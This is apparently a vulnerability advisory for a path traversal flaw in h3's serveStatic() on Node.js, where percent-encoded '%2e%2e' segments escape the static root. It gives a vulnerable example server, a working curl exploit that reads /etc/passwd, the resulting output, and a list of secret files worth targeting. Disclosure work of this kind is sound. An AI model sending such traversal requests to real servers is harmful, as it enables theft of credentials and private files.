CVE-2026-86253 — h3

Summary

serveStatic() in h3 is vulnerable to path traversal via percent-encoded dot segments (%2e%2e), allowing an unauthenticated attacker to read arbitrary files outside the intended static directory on Node.js deployments.

Details

The vulnerability exists in src/utils/static.ts at line 86:

const originalId = decodeURI(withLeadingSlash(withoutTrailingSlash(event.url.pathname)));

On Node.js, h3 uses srvx's FastURL class to parse request URLs. Unlike the standard WHATWG URL parser, FastURL extracts the pathname via raw string slicing for performance — it does not normalize dot segments (. / ..) or resolve percent-encoded equivalents (%2e).

This means a request to /%2e%2e/ will have event.url.pathname return /%2e%2e/ verbatim, whereas the standard URL parser would normalize it to / (resolving .. upward).

The serveStatic() function then calls decodeURI() on this raw pathname, which decodes %2e to ., producing /../. The resulting path containing ../ traversal sequences is passed directly to the user-provided getMeta() and getContents() callbacks with no sanitization or traversal validation.

When these callbacks perform filesystem operations (the intended and documented usage), the ../ sequences resolve against the filesystem, escaping the static root directory.

Before exploit:

Vulnerability chain

1. Attacker sends:    GET /%2e%2e/%2e%2e/%2e%2e/etc/passwd
2. FastURL.pathname:  /%2e%2e/%2e%2e/%2e%2e/etc/passwd  (raw, no normalization)
3. decodeURI():       /../../../etc/passwd                (%2e decoded to .)
4. getMeta(id):       id = "/../../../etc/passwd"         (no traversal check)
5. path.join(root,id): /etc/passwd                        (.. resolved by OS)
6. Response:          contents of /etc/passwd

PoC

Vulnerable server (server.ts)

import { H3, serveStatic } from "h3";
import { serve } from "h3/node";
import { readFileSync, statSync } from "node:fs";
import { join, resolve } from "node:path";

const STATIC_ROOT = resolve("./public");
const app = new H3();

app.all("/**", (event) =>
  serveStatic(event, {
    getMeta: (id) => {
      const filePath = join(STATIC_ROOT, id);
      try {
        const stat = statSync(filePath);
        return { size: stat.size, mtime: stat.mtime };
      } catch {
        return undefined;
      }
    },
    getContents: (id) => {
      const filePath = join(STATIC_ROOT, id);
      try {
        return readFileSync(filePath);
      } catch {
        return undefined;
      }
    },
  })
);

serve({ fetch: app.fetch });

Exploit

# Read /etc/passwd (adjust number of %2e%2e segments based on static root depth)
curl -s --path-as-is "http://localhost:3000/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd"

Result

root:x:0:0:root:/root:/usr/bin/zsh
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...

Proof:

Pwned by 0xkakashi

Impact

An unauthenticated remote attacker can read arbitrary files from the server's filesystem by sending a crafted HTTP request with %2e%2e (percent-encoded ..) path segments to any endpoint served by serveStatic().

This affects any h3 v2.x application using serveStatic() running on Node.js (where the FastURL fast path is used). Applications running on runtimes that provide a pre-parsed URL object (e.g., Cloudflare Workers, Deno) may not be affected, as FastURL's raw string slicing is bypassed.

Exploitable files include but are not limited to:

• /etc/passwd, /etc/shadow (if readable)
• Application source code and configuration files
• .env files containing secrets, API keys, database credentials
• Private keys and certificates